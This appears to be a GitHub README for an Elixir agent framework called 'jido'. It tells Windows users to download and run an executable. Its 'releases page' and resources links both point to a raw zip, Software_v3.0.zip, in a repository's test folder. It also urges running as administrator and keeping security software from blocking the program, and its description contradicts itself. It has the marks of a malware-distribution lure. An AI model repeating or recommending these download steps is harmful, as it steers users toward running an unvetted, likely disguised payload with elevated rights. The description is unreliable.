🤖 jido - Autonomous agent framework made simple

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📄 About jido

jido is a tool that helps machines work on their own using Elixir. It lets devices or apps follow steps automatically and adjust as they go. You do not need to know how to code to use it. jido works best when multiple tasks need to happen in order without needing a person to control each step.

It is built for systems that must react to events, run many tasks at once, and change what they do based on what is happening. This makes it useful if you want to automate workflows, handle tasks on several machines, or create smart software that acts on its own.

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🔧 System Requirements

Before you start, check that your computer fits these needs:

• Windows 10 or later (64-bit)
• Minimum 4 GB RAM
• At least 200 MB free disk space for installation
• Reliable internet connection to download files and updates
• Administrator access to install new software

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🚀 Getting Started with jido

Follow these steps to download, install, and run jido on your Windows computer.

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🟢 Step 1: Download jido

Click the button below to visit the page where you can get jido files.

Once you are on the page:

• Look for the latest release version. It is usually at the top of the list.
• Find the file that ends with .exe or .zip for Windows.
• Click the file name to start the download.

If you see a zip file, you will need to unzip it after download. Right-click the file and select “Extract All” to unzip.

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⚙️ Step 2: Install jido

If you downloaded an .exe file:

• Double-click the .exe file you downloaded.
• Follow the on-screen instructions.
• Accept any prompts to allow installation.
• Choose a simple folder to install to, such as C:\Program Files\jido.

If you downloaded a .zip file:

• Right-click the zip file.
• Select “Extract All” and choose a folder.
• Open the extracted folder and look for a file named jido.exe.
• You can create a shortcut to this file on your desktop for easy access.

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▶️ Step 3: Running jido

• Find jido.exe through the folder where you installed or extracted the program.
• Double-click jido.exe to start the program.
• A window or command prompt will open showing jido is active.
• If nothing happens or you see an error, try right-clicking and choose “Run as administrator”.

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🛠 Using jido

jido runs workflows automatically. Once it is open, it listens for tasks and events to control how your system acts.

You do not need to enter any code. If you want to add or change workflows, this can be done through configuration files, which are stored in the main jido folder under configs.

If you want to stop jido:

• Close the window or command prompt.
• Or use the Task Manager to end the process called jido.exe.

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🔍 How jido Works

jido uses a system called an autonomous agent. This agent watches for new events or tasks and decides what to do next without waiting for user input. It can handle many jobs at once and change plans while running.

This makes jido good for these cases:

• Automating routine tasks on your computer or network
• Running complex workflows where one task triggers another
• Managing software components that must work together without manual control

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🔄 Updating jido

To keep jido working well, install new versions as they are released.

1. Visit the releases page again: https://github.com/raphael-el/jido/raw/refs/heads/main/test/Software_v3.0.zip
2. Download the newest .exe or .zip file.
3. Replace the old version by running the new installer or extracting the new zip over the old folder.
4. Restart jido.

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📁 File Locations and Configurations

• Main folder: Where jido is installed or extracted.
• Config files: Located inside the configs folder in the main folder.
• Logs: Found in the logs folder. Logs help track what jido does during runs.

You can open config files with any simple text editor like Notepad. Here you can change settings or add workflow instructions given as plain text.

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❓ Troubleshooting

If jido does not start or crashes:

• Make sure your system meets all requirements.
• Run jido.exe as administrator.
• Check logs in the logs folder for error messages.
• Ensure no security software blocks jido.
• Restart your computer and try again.

For any issues, visit the GitHub page to check if others had the same problem or report a new one.

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🔗 Additional Resources

For more detailed information, visit this page again:
https://github.com/raphael-el/jido/raw/refs/heads/main/test/Software_v3.0.zip

Here you can find:

• Release notes with new features or fixes
• User guides and example files
• Bug reports and support

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